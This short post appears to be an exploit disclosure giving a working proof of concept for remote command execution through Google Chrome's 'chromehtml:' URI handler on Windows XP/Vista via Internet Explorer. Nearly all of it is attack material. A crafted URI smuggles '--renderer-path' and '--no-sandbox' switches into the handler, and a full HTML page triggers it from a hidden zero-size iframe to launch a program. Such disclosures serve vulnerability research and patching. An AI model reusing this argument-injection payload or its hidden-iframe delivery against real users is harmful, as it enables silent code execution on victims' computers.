Try this: chromehtml:"%20--renderer-path="calc"%20--no-sandbox Disabling sandbox does matter :) Tested with Google Chrome Chrome 1.0.154.46 on Win XP/Vista and IE6/IE7 and it works ... Full PoC: <html><head><title>Chrome URI Handler Remote Command Execution PoC</title></head> <body> <h3>This is a test</h3> <iframe src='chromehtml:"%20--renderer-path="calc"%20--no-sandbox' width=0 height=0></iframe> </body></html>